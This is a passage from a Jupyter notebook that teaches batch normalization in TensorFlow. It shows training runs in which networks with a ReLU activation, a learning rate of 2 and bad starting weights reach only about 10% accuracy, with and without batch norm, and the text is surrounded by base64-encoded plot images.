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\nrkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7c35a2e8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 1, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "When we used these same parameters [earlier](#successful_example_lr_1), we saw the network with batch normalization reach 92% validation accuracy. This time we used different starting weights, initialized using the same standard deviation as before, and the network doesn't learn at all. (Remember, an accuracy around 10% is what the network gets if it just guesses the same value all the time.)\n", "\n", "**The following creates two networks using a ReLU activation function, a learning rate of 2, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 21, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1398.39it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.0957999974489212\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:34<00:00, 529.50it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.09859999269247055\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.09799998998641968\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.10100000351667404\n" ] }, { "data": { "image/png": "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\nn/2MxMREEhMTadmyJdu3b2fOnDlceeWVgW/z